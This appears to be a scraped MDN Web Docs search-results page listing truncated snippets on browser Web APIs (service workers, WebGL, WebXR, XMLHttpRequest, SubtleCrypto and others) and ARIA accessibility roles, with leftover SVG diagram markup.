...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...And 2 more matches
ScriptProcessorNode.bufferSize - Web APIs
example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
... for each channel and each sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
...or-node github repo (also view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre'); var playbutton = document.queryselector('button'); // create audiocontext and buffer source var audioctx = new audiocontext(); source = audioctx.createbuffersource(); // create a scriptprocessornode with a buffersize of 4096 and a single input and output channel var scriptnode = audioctx.createscriptprocessor(4096, 1, 1); console.log(scriptnode.buffersize); // load in an audio track via xhr and decodeaudiodata function getdata() { request = new xmlhttprequest(); request.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audi...
...And 2 more matches
Selection.removeAllRanges() - Web APIs
the selection.removeallranges() method removes all ranges from the selection, leaving the anchornode and focusnode properties equal to null and leaving nothing selected.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoveallranges experimentalchrome full support yesedge full support 12firefox full support yesie full support yesopera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support ...
...And 2 more matches
Selection.removeRange() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoverange experimentalchrome full support 58edge full support 12firefox full support yesie ?
... opera full support 45safari no support nowebview android full support 58chrome android full support 58firefox android full support yesopera android full support 43safari ios no support nosamsung internet android full support 7.0legend full support full support no support no support ...
...And 2 more matches
Selection.toString() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimentalchrome full support 1edge full support ≤18firefox full support yesie ?
... webview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios ?
...And 2 more matches
ServiceWorker - Web APIs
pages, workers, etc.) can be associated with the same service worker, each through a unique serviceworker object.
... a serviceworker object is available in the serviceworkerregistration.active property, and the serviceworkercontainer.controller property — this is a service worker that has been activated and is controlling the page (the service worker has been successfully registered, and the controlled page has been reloaded.) the serviceworker interface is dispatched a set of lifecycle events — install and activate — and functional events including fetch.
... event handlers serviceworker.onstatechange read only an eventlistener property called whenever an event of type statechange is fired; it is basically fired anytime the serviceworker.state changes.
...And 2 more matches
ServiceWorkerContainer.register() - Web APIs
if successful, a service worker registration ties the provided script url to a scope, which is subsequently used for navigation matching.
...i.e., you don't need to first check whether there's an active registration.
... navigator.serviceworker.register('/sw.js').then(function(registration) { console.log('service worker registration succeeded:', registration); }, /*catch*/ function(error) { console.log('service worker registration failed:', error); }); } else { console.log('service workers are not supported.'); } the following code, if included in example.com/index.html, at the root of a site, would apply to exactly the same pages as the example above.
...And 2 more matches
ServiceWorkerRegistration.navigationPreload - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreload experimentalchrome full support 59edge full support 17 full support 17 full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie ...
... no support noopera full support 46safari full support 11.1webview android full support 59chrome android full support 59firefox android full support 44opera android full support 43safari ios full support 11.3samsung internet android full support 4.0legend full support full support no support ...
...And 2 more matches
SharedWorker - Web APIs
the sharedworker interface represents a specific kind of worker that can be accessed from several browsing contexts, such as several windows, iframes or even workers.
... example in our basic shared worker example (run shared worker), we have two html pages, each of which uses some javascript to perform a simple calculation.
...if the onmessage event is attached using addeventlistener, the port is manually started using its start() method: myworker.port.start(); when the port is started, both scripts post messages to the worker and handle messages sent from it using port.postmessage() and port.onmessage, respectively: first.onchange = function() { myworker.port.postmessage([first.value,second.value]); console.log('message posted to worker'); } ...
...And 2 more matches
SourceBuffer.mode - Web APIs
WebAPISourceBuffermode
the two available values are: segments: the media segment timestamps determine the order in which the segments are played.
... sequence: the order in which the segments are appended to the sourcebuffer determines the order in which they are played.
...you can, however, change the value from segments to sequence.
...And 2 more matches
StaticRange.StaticRange() - Web APIs
the four required rangespec properties are: startcontainer the node in which the starting point of the range is located.
... startoffset the offset into the starting node at which the first character of the range is found.
... endcontainer the node in which the end point of the range is located.
...And 2 more matches
StorageManager.estimate() - Web APIs
the estimate() method of the storagemanager interface asks the storage manager for how much storage the current origin takes up (usage), and how much space is available (quota).
... this method operates asynchronously, so it returns a promise which resolves once the information is available.
... return value a promise that resolves to an object which conforms to the storageestimate dictionary.
...And 2 more matches
SubtleCrypto.decrypt() - Web APIs
it returns a promise which will be fulfilled with the decrypted data (also known as "plaintext").
...the values given for the extra parameters must match those passed into the corresponding encrypt() call.
...note that counter must match the value that was used for encryption.
...And 2 more matches
SubtleCrypto.unwrapKey() - Web APIs
as with subtlecrypto.importkey(), you specify the key's import format and other attributes of the key to import details such as whether it is extractable, and which operations it can be used for.
...this must match the salt value that was originally used to derive the key.
... // the salt must match the salt originally used to derive the key.
...And 2 more matches
TaskAttributionTiming.containerId - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontainerid experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... webview android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ?
...And 2 more matches
TaskAttributionTiming.containerType - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontainertype experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... webview android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ?
...And 2 more matches
Text.splitText() - Web APIs
WebAPITextsplitText
syntax newnode = textnode.splittext(offset) parameters offset the index immediately before which to break the text node.
... html <p>foobar</p> javascript const p = document.queryselector('p'); // get contents of <p> as a text node const foobar = p.firstchild; // split 'foobar' into two text nodes, 'foo' and 'bar', // and save 'bar' as a const const bar = foobar.splittext(3); // create a <u> element containing ' new content ' const u = document.createelement('u'); u.appendchild(document.createtextnode(' new content ')); // add <u> before 'bar' p.insertbefore(u, bar); // the result is: <p>foo<u> new content </u>bar</p> result specifications ...
... living standard no change from document object model (dom) level 3 core specification.
...And 2 more matches
Text.wholeText - Web APIs
WebAPITextwholeText
<strong>no insipid election coverage!</strong> however, <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you decide you don’t like the middle sentence, so you remove it: para.removechild(para.childnodes[1]); later, you decide to rephrase things to, “thru-hiking is great, but casting a ballot is tricky.” while preserving the hyperlink.
... so you try this: para.firstchild.data = "thru-hiking is great, but "; all set, right?
...in that case, we have: assert(para.firstchild.wholetext == "thru-hiking is great!
...And 2 more matches
TransformStream - Web APIs
methods none examples anything-to-uint8array stream in the following example, a transform stream passes through all chunks it receives as uint8array values.
... async transform(chunk, controller) { chunk = await chunk switch (typeof chunk) { case 'object': // just say the stream is done i guess if (chunk === null) controller.terminate() else if (arraybuffer.isview(chunk)) controller.enqueue(new uint8array(chunk.buffer, chunk.byteoffset, chunk.bytelength)) else if (array.isarray(chunk) && chunk.every(value => typeof value === 'number')) controller.enqueue(new uint8array(chunk)) else if ('function' === typeof chunk.valueof && chunk.valueof() !== chunk) this.transform(chunk.valueof(), controller) // hack else if ('tojson' in chunk) this.transform(json.stringify(chunk), controller) break case...
... 'symbol': controller.error("cannot send a symbol as a chunk part") break case 'undefined': controller.error("cannot send undefined as a chunk part") default: controller.enqueue(this.textencoder.encode(string(chunk))) break }, flush() { /* do any destructor work here */ } } class anytou8stream extends transformstream { constructor() { super({...transformcontent, textencoder: new textencoder()}) } } polyfilling textencoderstream and textdecoderstream note that this is deprecated by the native constructors.
...And 2 more matches
URL.createObjectURL() - Web APIs
the url lifetime is tied to the document in the window on which it was created.
... usage notes memory management each time you call createobjecturl(), a new object url is created, even if you've already created one for the same object.
... each of these must be released by calling url.revokeobjecturl() when you no longer need them.
...And 2 more matches
URLUtilsReadOnly.protocol - Web APIs
the urlutilsreadonly.protocol read-only property returns a domstring containing the protocol scheme of the url, including the final ':'.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprotocol experimentalchrome no support noedge no support nofirefox full support 3.5ie no support noopera no support nosafari no support nowebview android no support nochrome android no support nofirefox android full support 4opera android ...
...And 2 more matches
USBDevice - Web APIs
WebAPIUSBDevice
usbdevice.deviceversionmajor read only the major version number of the device in a semantic versioning scheme.
... usbdevice.deviceversionminor read only the minor version number of the device in a semantic versioning scheme.
... usbdevice.deviceversionsubminor read only the patch version number of the device in a semantic versioning scheme.
...And 2 more matches
USBEndpoint - Web APIs
constructor usbendpoint.usbendpoint creates a new usbendpoint object which will be populated with information about the endpoint on the provided usbaltenateinterface with the given endpoint number and transfer direction.
... properties usbendpoint.endpointnumber returns this endpoint's "endpoint number" which is a value from 1 to 15 extracted from the bendpointaddress field of the endpoint descriptor defining this endpoint.
... usbendpoint.direction returns the direction in which this endpoint transfers data, one of: "in" - data is transferred from device to host.
...And 2 more matches
VTTCue - Web APIs
WebAPIVTTCue
param starttime the time, in seconds and fractions of a second, that describes the beginning of the range of the media data to which the cue applies.
... endtime the time, in seconds and fractions of a second, that describes the end of the range of the media data to which the cue applies.
...this is used to determine what the vttcue.position is anchored to.
...And 2 more matches
VTTRegion - Web APIs
WebAPIVTTRegion
vttregion.regionanchorx a double representing the region anchor x offset, as a percentage of the region.
... vttregion.regionanchory a double representing the region anchor y offset, as a percentage of the region.
... vttregion.viewportanchorx a double representing the viewport anchor x offset, as a percentage of the video.
...And 2 more matches
Vibration API - Web APIs
most modern mobile devices include vibration hardware, which lets software code provide physical feedback to the user by causing the device to shake.
... describing vibrations vibration is described as a pattern of on-off pulses, which may be of varying lengths.
... vibration patterns an array of values describes alternating periods in which the device is vibrating and not vibrating.
...And 2 more matches
VideoTrack - Web APIs
properties selected a boolean value which controls whether or not the video track is active.
... id read only a domstring which uniquely identifies the track within the media.
... kind read only a domstring specifying the category into which the track falls.
...And 2 more matches
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
the webgl_draw_buffers.drawbufferswebgl() method is part of the webgl api and allows you to define the draw buffers to which all fragment colors are written.
... note: when using webgl2, this method is available as gl.drawbuffers() by default and the constants are named gl.color_attachment1 etc.
... ext.color_attachment0_webgl the fragment shader is written the the nth color attachment of the framebuffer.
...And 2 more matches
WakeLock.request() - Web APIs
WebAPIWakeLockrequest
the request() method of the wakelock interface returns a promise that resolves with a wakelocksentinel object, which allows control over screen dimming and locking.
... exceptions notallowederror thrown when wake lock is not available, which can happen because: document is not allowed to use screen wake lock due to screen-wake-lock policy.
... examples the following asynchronous function requests a wakelocksentinel object.
...And 2 more matches
WebGLRenderingContext.getParameter() - Web APIs
syntax any gl.getparameter(pname); parameters pname a glenum specifying which parameter value to return.
...compressed_srgb_alpha_s3tc_dxt5_ext when using the webgl_compressed_texture_etc extension: ext.compressed_r11_eac ext.compressed_signed_r11_eac ext.compressed_rg11_eac ext.compressed_signed_rg11_eac ext.compressed_rgb8_etc2 ext.compressed_rgba8_etc2_eac ext.compressed_srgb8_etc2 ext.compressed_srgb8_alpha8_etc2_eac ext.compressed_rgb8_punchthrough_alpha1_etc2 ext.compressed_srgb8_punchthrough_alpha1_etc2 when using the webgl_compressed_texture_pvrtc extension: ext.compressed_rgb_pvrtc_4bppv1_img ext.compressed_rgba_pvrtc_4bppv1_img ext.compressed_rgb_pvrtc_2bppv1_img ext.compressed_rgba_pvrtc_2bppv1_img when using the webgl_compressed_texture_etc1 extension: ext.compressed_...
... gl.draw_bufferi glenum gl.back, gl.none or gl.color_attachment{0-15}.
...And 2 more matches
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
description while vertex attributes are usually used to specify values which are different for each vertex (using vertexattribpointer), it can be useful to specify a constant value.
... for example, if you have a shader which has a color vertex attribute, but you want to draw everything in a single color, you can use vertexattrib to achieve that without creating a buffer filled with only one value or having to create a separate shader which uses a uniform for the color.
... attributes may be matrices, in which case columns of the matrix must be loaded into successive vertex attribute slots.
...And 2 more matches
Basic scissoring - Web APIs
scissoring establishes a clipping region outside which drawing will not occur.
...a pixel is a picture element (in practice, a point) on the screen, or a single element of the drawing buffer, that area in memory that holds your pixel data (such as rgba color components).
... the reason for this distinction is that fragment color (and other fragment values, such as depth) may be manipulated and changed several times during graphics operations before finally being written to the screen.
...And 2 more matches
Clearing with colors - Web APIs
this only changes some internal state of webgl, but does not draw anything yet.
...all other methods are for setting and querying webgl state variables (such as the clear color).
... there are many "dials" and "switches" that affect drawing with webgl.
...And 2 more matches
Detect WebGL - Web APIs
feature-detecting webgl in this first example we are going to check whether the browser supports webgl.
...the webgl rendering context is an interface, through which you can set and query the state of the graphics machine, send data to the webgl, and execute draw commands.
... saving the state of the graphics machine within a single context interface is not unique to webgl.
...And 2 more matches
Raining rectangles - Web APIs
the objective: try to catch as many of the raining rectangles as you can by clicking on them.
... in this example, we use an object-oriented approach for the displayed rectangles, which helps to keep the state of the rectangle (its position, color, and so on) organized in one place, and the overall code more compact and reusable.
...it is a preview of a full graphical application that manipulates various phases of the webgl graphics pipeline and state machine.
...And 2 more matches
Scissor animation - Web APIs
« previousnext » a simple webgl example in which we have some animation fun using scissoring and clearing operations.
...this is a nice demonstration of webgl as a state machine.
... for each square, we set its color once, and then update only its position every frame.
...And 2 more matches
Compressed texture formats - Web APIs
note that this advantage doesn't translate to network bandwidth: while the formats are better than uncompressed data, they are in general far worse than standard image formats such as png and jpg.
...this site shows which formats are supported in the used browser.
...which formats support texture_2d_array and texture_3d targets (in combination with compressedteximage3d) are noted in the following table.
...And 2 more matches
Using WebGL extensions - Web APIs
if you wish to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name.
... the feature flags are: webgl.enable-draft-extensions in firefox chrome://flags/#enable-webgl-draft-extensions in chromium based browsers (chrome, opera).
... oes_ and khr_: extensions that mirror functionality from opengl es (oes) or opengl api extensions approved by the respective architecture review boards (khronos).
...And 2 more matches
Writing a WebSocket server in Java - Web APIs
this server conforms to rfc 6455, so it only handles connections from chrome version 16, firefox 11, ie 10 and higher.
... here's an implementation split into parts: import java.io.ioexception; import java.io.inputstream; import java.io.outputstream; import java.net.serversocket; import java.net.socket; import java.security.messagedigest; import java.security.nosuchalgorithmexception; import java.util.base64; import java.util.scanner; import java.util.regex.matcher; import java.util.regex.pattern; public class websocket { public static void main(string[] args) throws ioexception, nosuchalgorithmexception { serversocket server = new serversocket(80); try { system.out.println("server has started on 127.0.0.1:80.\r\nwaiting for a connection..."); so...
... try { string data = s.usedelimiter("\\r\\n\\r\\n").next(); matcher get = pattern.compile("^get").matcher(data); creating the response is easier than understanding why you must do it in this way.
...And 2 more matches
Attestation and Assertion - Web APIs
the sections below describe attestation, which happens during registration, and assertion which happens during authentication.
...the pre-defined attestation formats in webauthn are: packed - a generic attestation format that is commonly used by devices whose sole function is as a webauthn authenticator, such as security keys.
... android key attestation - one of the features added in android o was android key attestation, which enables the android operating system to attest to keys.
...And 2 more matches
WheelEvent - Web APIs
thus, a wheel event doesn't necessarily dispatch a scroll event.
...instead, detect value changes to scrollleft and scrolltop of the target in the scroll event.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/uievent" target="_top"><rect x="116" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="153.5" y="30" font-size="12px" font-family="consolas,mon...
...And 2 more matches
Window.content - Web APIs
WebAPIWindowcontent
there may also be large incompatibilities between implementations and the behavior may change in the future.
... note: since firefox 57 (initially nightly-only), both the content and _content variants are only available to chrome (privileged) code, and not available to the web anymore.
...in such cases, content returns a reference to the window object for the document currently displayed in the browser.
...And 2 more matches
window.dump() - Web APIs
WebAPIWindowdump
it is therefore advisable to either check this preference yourself or use a debugging preference of your own to make sure you don't send lots of debugging content to a user's console when they might not be interested in it at all.
...if you don't have one already, closing the application and re-opening it with the command line parameter -console should create the console or use -attach-console to use the existing console.
... on other operating systems, it's enough to launch the application from a terminal.
...And 2 more matches
Window.pageYOffset - Web APIs
the read-only window property pageyoffset is an alias for scrolly; as such, it returns the number of pixels the document is currently scrolled along the vertical axis (that is, up or down) with a value of 0.0, indicating that the top edge of the document is currently aligned with the top edge of the window's content area.
... the corresponding pagexoffset property, which returns the number of pixels scrolled along the horizontal axis (left and right), is an alias for scrollx.
...once that's done, the vertical scroll position is checked by looking at the value of pageyoffset in the frame's contentwindow.
...And 2 more matches
Window.setCursor() - Web APIs
WebAPIWindowsetCursor
this function is a part of chromewindow interface.
... this function is unavailable to web pages, which can use the css cursor property instead.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
Window.setImmediate() - Web APIs
this method is used to break up long running operations and run a callback function immediately after the browser has completed other operations such as events and display updates.
... syntax var immediateid = setimmediate(func, [param1, param2, ...]); var immediateid = setimmediate(func); where immediateid is the id of the immediate which can be used later with window.clearimmediate.
...do note that internet explorer 8 includes a synchronous version of postmessage, which means it cannot be used as a fallback.
...And 2 more matches
Window.updateCommands() - Web APIs
summary updates the state of commands of the current chrome window (ui).
... syntax window.updatecommands("scommandname") parameters scommandname is a particular string which describes what kind of update event this is (e.g.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 2 more matches
WindowOrWorkerGlobalScope.atob() - Web APIs
the windoworworkerglobalscope.atob() function decodes a string of data which has been encoded using base64 encoding.
... you can use the btoa() method to encode and transmit data which may otherwise cause communication problems, then transmit it and use the atob() method to decode the data again.
... for example, you can encode, transmit, and decode control characters such as ascii values 0 through 31.
...And 2 more matches
WorkerNavigator.permissions - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpermissions experimentalchrome full support 43edge full support ≤79firefox no support noie ?
... opera full support 30safari no support nowebview android full support 43chrome android full support 43firefox android no support noopera android full support 30safari ios no support nosamsung internet android full support 4.0legend full support full support no support no support ...
...And 2 more matches
XMLHttpRequest.getAllResponseHeaders() - Web APIs
note: for multipart requests, this returns the headers from the current part of the request, not from the original channel.
... an example of what a raw header string looks like: date: fri, 08 dec 2017 21:04:30 gmt\r\n content-encoding: gzip\r\n x-content-type-options: nosniff\r\n server: meinheld/0.6.1\r\n x-frame-options: deny\r\n content-type: text/html; charset=utf-8\r\n connection: keep-alive\r\n strict-transport-security: max-age=63072000\r\n vary: cookie, accept-encoding\r\n content-length: 6502\r\n x-xss-protection: 1; mode=block\r\n each line is terminated by both carriage return and line feed characters (\r\n).
... these are essentially delimiters separating each of the headers.
...And 2 more matches
XMLHttpRequest.getResponseHeader() - Web APIs
if there are multiple response headers with the same name, then their values are returned as a single concatenated string, where each value is separated from the previous one by a pair of comma and space.
... note: the search for the header name is case-insensitive.
... if you need to get the raw string of all of the headers, use the getallresponseheaders() method, which returns the entire raw header string.
...And 2 more matches
XMLHttpRequest.open() - Web APIs
note: calling this method for an already active request (one for which open() has already been called) is the equivalent of calling abort().
... syntax xmlhttprequest.open(method, url[, async[, user[, password]]]) parameters method the http request method to use, such as "get", "post", "put", "delete", etc.
... async optional an optional boolean parameter, defaulting to true, indicating whether or not to perform the operation asynchronously.
...And 2 more matches
XREnvironmentBlendMode - Web APIs
this is primarily used by fully-immersive vr headsets, which totally obscure the surrounding environment, with none of the real world shown to the user at all.
... additive primarily used by ar devices with transparent lenses which directly allow reality to pass through to the user's eyes, the additive blending mode is designed to be used in a situation in which the device has no control over the background and its brightness, since that isn't being digitally controlled.
... alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the content for the user to see, this offers a way to create an ar presentation using a vr device.
...And 2 more matches
XRHandedness - Web APIs
the webxr enumerated type xrhandedness provides values which identify which of a user's hands is being used to operate a particular input controller attached to the xr input device being used.
... left the input controller is being held in, worn on, or is attached to the user's left hand.
... right the input controller is being held in, worn on, or is attached to the user's right hand.
...And 2 more matches
XRInputSourceArray.values() - Web APIs
examples this example snippet walks through each input and calls the function checkinput() with each returned value.
... for (const source of xrsession.inputsources.values()) { checkinput(source); } here, for...of is used to iterate over the array's contents.
... each pass through the loop, source is the next xrinputsource in the list.
...And 2 more matches
XRInputSourceArray - Web APIs
each entry is an xrinputsource representing one input device connected to the webxr system.
... in addition to being able to access the input sources in the list using standard array notation (that is, with index numbers insize square brackets), methods are available to allow the use of iterators and the foreach() method is also available.
...each item returned is an array whose first value is the index and whose second value is the xrinputsource at that index.
...And 2 more matches
XRPermissionDescriptor.mode - Web APIs
the mode property of the xrpermissiondescriptor dictionary is a string taken from the xrsessionmode enumerated type, specifying which web xr session mode (inline, immersive-vr, or immersive-ar) the described permissions will be used for.
... important: the immersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation.
... usage notes examples the example below checks to ensure that permission has been granted to allow the user to use webxr for an immersive virtual reality experience.
...And 2 more matches
XRSession.cancelAnimationFrame() - Web APIs
the cancelanimationframe() method of the xrsession interface cancels an animation frame which was previously requested by calling requestanimationframe.
... syntax xrsession.cancelanimationframe(handle); parameters handle the unique value returned by the call to requestanimationframe() that previously scheduled the animation callback.
... example in the example below we see code which starts up a webxr session if immersive vr mode is supported.
...And 2 more matches
XRSession.onsqueeze - Web APIs
the xrsession interface's onsqueeze event handler property can be set to a function which is then invoked to handle the squeeze event that's sent when the user successfully completes a primary squeeze action on a webxr input device.
... examples handling squeeze events for a specific hand this snippet of code adds a simple handler for the squeeze event, which responds only to events on the user's off-hand (that is, the hand that isn't their dominant hand).
... after checking that the event occurred on the user's dominant hand, the pose's target ray is obtained.
...And 2 more matches
XRSession.onsqueezeend - Web APIs
this is sent immediately after the squeeze event, which announces the successful completion of the squeeze action.
... examples this snippet of code adds a simple handler for the squeezeend event, which responds only to events on the user's dominant hand.
... in response to the end of the squeeze operation, this code looks to see if there is an object currently being held by the user by checking to see if the variable user.heldobject contains a reference to an object representing the held item.
...And 2 more matches
XRSession.updateRenderState() - Web APIs
the updaterenderstate() method of the xrsession interface of webxr api schedules changes to be applied to the active render state prior to rendering of the next frame.
... baselayer optional an xrwebgllayer object from which the webxr compositor will obtain imagery.
... depthfar optional a floating-point value specifying the distance in meters from the viewer to the far clip plane, which is a plane parallel to the display surface beyond which no further rendering will occur.
...And 2 more matches
XRSpace - Web APIs
WebAPIXRSpace
the xrspace interface of the webxr device api is an abstract interface providing a common basis for every class which represents a virtual coordinate system within the virtual world, in which its origin corresponds to a physical location.
... spatial data in webxr is always expressed relative to an object based upon one of the descendant interfaces of xrspace, at the time at which a given xrframe takes place.
... numeric values such as pose positions are thus coordinates in the corresponding xrspace, relative to that space's origin.
...And 2 more matches
XRSystem: requestSession() - Web APIs
the xrsystem interface's requestsession() method returns a promise which resolves to an xrsession object through which you can manage the requested type of webxr session.
... important: the immersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation.
...this can happen for a number of reasons, which are covered in more detail in permissions and security in webxr device api.
...And 2 more matches
XRView.eye - Web APIs
WebAPIXRVieweye
the xrview interface's read-only eye property is a string taken from the xreye enumerated type, indicating which eye's viewpoint the xrview represents: left or right.
... for views which represent neither eye, such as monoscopic views, this property's value is none.
...for dynamically-rendered 3d content, you can usually ignore this and simply render each of the viewer's views, one after another.
...And 2 more matches
XRWebGLLayer.getViewport() - Web APIs
for webxr devices which use a single framebuffer for both the left and right eyes, the returned viewport represents the region of the framebuffer into which the scene should be rendered for the eye represented by the view.
... syntax let viewport = xrwebgllayer.getviewport(view); parameters view an xrview object indicating the view for which the viewport is to be returned.
... return value a xrviewport object representing the viewport which will restrict drawing to the portion of the layer corresponding to the specified view.
...And 2 more matches
Introduction - Web APIs
this would allow the same style to be reused for multiple content, as well as simplify maintenance and allow a quick (only modify one file) way to change the look of content.
...however, it has several limitations, such as lack of programming structures and ability to create complex layout models.
... css also has limited support for changing the position of an element.
...And 2 more matches
Using the article role - Accessibility
the aria article role is similar to the html5 article element; however the article element should still be given the aria role of article, since not all assistive technologies support html5 yet.
... possible effects on user agents and assistive technology when the user navigates an element assigned the role of article, assistive technologies that typically intercept standard keyboard events should switch to document browsing mode, as opposed to passing keyboard events through to the web application.
... assistive technologies may provide a feature allowing the user to navigate the hierarchy of any nested article elements.
...And 2 more matches
Using the presentation role - Accessibility
this technique demonstrates how to use the presentation role and describes the effect it has on browsers and assistive technology.
... the presentation role is used to remove semantic meaning from an element and any of its related child elements.
... for example, a table used for layout purposes could have the presentation role applied to the table element to remove any semantic meaning from the table element and any of its table related children elements, such as table headers and table data elements.
...And 2 more matches
Using the slider role - Accessibility
this technique demonstrates how to use the slider role and describes the effect it has on browsers and assistive technology.
...the slider role is assigned to the "thumb," the control that is adjusted to change the value.
...by 10 on a range from 0 to 100) possible effects on user agents and assistive technology note: opinions may differ on how assistive technology should handle this technique.
...And 2 more matches
ARIA: alert role - Accessibility
it is perfect for situations such as when a user fills out a form and javascript is used to add an error message - the alert would immediately read out the message.
...when the display value is changed with css or javascript, it would automatically trigger the screen reader to read out the content.
... <p role="alert" style="display: none;">the alert will trigger when the element becomes visible.</p> while triggering an alert via css alone is possible, it is better to rely on javascript because it has more browser/screen reader support and is often more appropriate as part of a larger user interaction such as inside an event handler or form validation.
...And 2 more matches
ARIA: Comment role - Accessibility
<p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details attribute, the value of which should be the id of the comment.
... multiple comments since aria-details can now accept multiple ids, we can associate multiple comments with the same annotation, like so: <p>the last half of the song is a slow-rising crescendo that peaks at the <mark aria-details="thread-1 thread-2">end of the guitar solo</mark>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> <div role="comment" id="thread-2" data-author="chris"> <h3>marcus said</h3> <p class="comment-text">the guitar solo could do with a touch more chorus, and a slightly lower volume.</p> <p><time datetime="2019-03-29t15:35">march 29 2019, 15...
